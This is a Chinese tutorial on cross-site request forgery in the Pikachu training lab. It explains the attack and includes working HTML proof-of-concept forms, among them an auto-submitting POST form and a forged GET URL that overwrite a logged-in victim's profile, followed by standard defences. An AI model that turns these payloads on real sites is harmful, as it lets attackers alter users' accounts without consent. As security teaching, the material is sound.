Pikachu靶场-CSRF
字数 1439 2025-08-11 21:26:33

CSRF(跨站请求伪造)攻击原理与防御教学文档

1. CSRF概述

CSRF(Cross-site request forgery,跨站请求伪造)是一种Web安全漏洞,攻击者会伪造一个请求(通常是一个链接),欺骗目标用户点击。用户一旦点击这个请求,攻击即完成,因此CSRF也被称为"one click"攻击。

关键特征:

  • 攻击者利用用户已登录的身份,在用户不知情的情况下执行非预期的操作
  • 攻击者并不直接获取用户的权限,而是借用用户的权限
  • 需要用户处于已登录状态并点击恶意链接

与XSS的区别:

  • CSRF:借用户的权限完成攻击,攻击者没有拿到用户权限
  • XSS:直接盗取用户权限(如cookie),然后实施破坏

2. CSRF攻击场景示例

场景:攻击者小黑想修改受害者大白在购物网站上的会员地址

正常流程

  1. 大白登录网站
  2. 修改会员信息并提交请求
  3. 修改成功

攻击流程

  1. 小黑发现修改信息的请求格式:http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change
  2. 小黑伪装这个链接,在大白登录网站后欺骗其点击
  3. 大白点击后,个人信息被修改

3. CSRF攻击成功的关键条件

  1. 目标网站对敏感操作缺乏足够验证,请求容易被伪造
  2. 受害者点击了攻击者提供的链接
  3. 受害者此时已登录目标网站

4. CSRF攻击类型与实验

4.1 GET型CSRF

特点:参数通过URL传递

攻击步骤

  1. 攻击者登录自己的账号(如kobe账号)
  2. 修改个人信息并抓包,获取请求格式
  3. 使用Burp Suite生成CSRF PoC(HTML表单)
  4. 受害者(如lucy账号)在已登录状态下访问恶意HTML页面
  5. 受害者信息被修改为攻击者预设的值

示例PoC

<html>
<body>
  <form action="http://target.com/csrf_get_edit.php">
    <input type="hidden" name="sex" value="boy" />
    <input type="hidden" name="phonenum" value="15988767673" />
    <input type="hidden" name="add" value="nba lakes" />
    <input type="hidden" name="email" value="kobe@pikachu.com" />
    <input type="hidden" name="submit" value="submit" />
    <input type="submit" value="Submit request" />
  </form>
</body>
</html>

替代攻击方式:直接构造恶意URL

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nba lakes&email=kobe@pikachu.com&submit=submit

4.2 POST型CSRF

特点:参数通过请求体传递,无法直接通过URL攻击

攻击步骤

  1. 攻击者登录自己的账号(如kobe账号)
  2. 修改个人信息并抓包,分析POST请求格式
  3. 构造自动提交表单的HTML页面并托管在公网服务器
  4. 受害者(如lili账号)在已登录状态下访问恶意页面
  5. 受害者信息被修改为攻击者预设的值

示例PoC

<html>
<head>
  <script>
    window.onload = function() {
      document.getElementById("postsubmit").click();
    }
  </script>
</head>
<body>
  <form method="post" action="http://target.com/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="boy" />
    <input id="phonenum" type="text" name="phonenum" value="15988767673" />
    <input id="add" type="text" name="add" value="nba lakes" />
    <input id="email" type="text" name="email" value="kobe@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
  </form>
</body>
</html>

5. CSRF防御措施

5.1 CSRF Token

原理

  • 服务器为每个会话生成唯一的随机token
  • 每次提交敏感请求时,必须附带正确的token
  • 服务器验证token的有效性

实现特点

  • Token通常作为隐藏字段包含在表单中
  • 每次请求后,服务器会生成新的token
  • 攻击者无法预测或获取有效的token

5.2 其他防御措施

  1. 验证码:对敏感操作要求输入验证码
  2. 检查Referer头:验证请求来源是否合法
  3. SameSite Cookie属性:设置Cookie的SameSite属性为Strict或Lax
  4. 二次验证:敏感操作前要求验证密码或其他凭证
  5. 自定义HTTP头:通过AJAX请求添加自定义头并验证

6. 实验环境搭建建议

  1. 使用Pikachu靶场或其他Web安全学习平台
  2. 准备多个浏览器或不同用户账号模拟攻击者和受害者
  3. 使用Burp Suite等工具分析请求和生成PoC
  4. 搭建简单的Web服务器托管恶意HTML文件

7. 总结

CSRF是一种利用用户信任和已登录状态的攻击方式,防御关键在于确保敏感操作不能被轻易伪造。开发者应结合Token、验证码等多种措施进行防护,而用户应提高安全意识,不随意点击不明链接。

CSRF(跨站请求伪造)攻击原理与防御教学文档 1. CSRF概述 CSRF(Cross-site request forgery,跨站请求伪造)是一种Web安全漏洞,攻击者会伪造一个请求(通常是一个链接),欺骗目标用户点击。用户一旦点击这个请求,攻击即完成,因此CSRF也被称为"one click"攻击。 关键特征: 攻击者利用用户已登录的身份,在用户不知情的情况下执行非预期的操作 攻击者并不直接获取用户的权限,而是借用用户的权限 需要用户处于已登录状态并点击恶意链接 与XSS的区别: CSRF:借用户的权限完成攻击,攻击者没有拿到用户权限 XSS:直接盗取用户权限(如cookie),然后实施破坏 2. CSRF攻击场景示例 场景 :攻击者小黑想修改受害者大白在购物网站上的会员地址 正常流程 : 大白登录网站 修改会员信息并提交请求 修改成功 攻击流程 : 小黑发现修改信息的请求格式: http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change 小黑伪装这个链接,在大白登录网站后欺骗其点击 大白点击后,个人信息被修改 3. CSRF攻击成功的关键条件 目标网站对敏感操作缺乏足够验证,请求容易被伪造 受害者点击了攻击者提供的链接 受害者此时已登录目标网站 4. CSRF攻击类型与实验 4.1 GET型CSRF 特点 :参数通过URL传递 攻击步骤 : 攻击者登录自己的账号(如kobe账号) 修改个人信息并抓包,获取请求格式 使用Burp Suite生成CSRF PoC(HTML表单) 受害者(如lucy账号)在已登录状态下访问恶意HTML页面 受害者信息被修改为攻击者预设的值 示例PoC : 替代攻击方式 :直接构造恶意URL 4.2 POST型CSRF 特点 :参数通过请求体传递,无法直接通过URL攻击 攻击步骤 : 攻击者登录自己的账号(如kobe账号) 修改个人信息并抓包,分析POST请求格式 构造自动提交表单的HTML页面并托管在公网服务器 受害者(如lili账号)在已登录状态下访问恶意页面 受害者信息被修改为攻击者预设的值 示例PoC : 5. CSRF防御措施 5.1 CSRF Token 原理 : 服务器为每个会话生成唯一的随机token 每次提交敏感请求时,必须附带正确的token 服务器验证token的有效性 实现特点 : Token通常作为隐藏字段包含在表单中 每次请求后,服务器会生成新的token 攻击者无法预测或获取有效的token 5.2 其他防御措施 验证码 :对敏感操作要求输入验证码 检查Referer头 :验证请求来源是否合法 SameSite Cookie属性 :设置Cookie的SameSite属性为Strict或Lax 二次验证 :敏感操作前要求验证密码或其他凭证 自定义HTTP头 :通过AJAX请求添加自定义头并验证 6. 实验环境搭建建议 使用Pikachu靶场或其他Web安全学习平台 准备多个浏览器或不同用户账号模拟攻击者和受害者 使用Burp Suite等工具分析请求和生成PoC 搭建简单的Web服务器托管恶意HTML文件 7. 总结 CSRF是一种利用用户信任和已登录状态的攻击方式,防御关键在于确保敏感操作不能被轻易伪造。开发者应结合Token、验证码等多种措施进行防护,而用户应提高安全意识,不随意点击不明链接。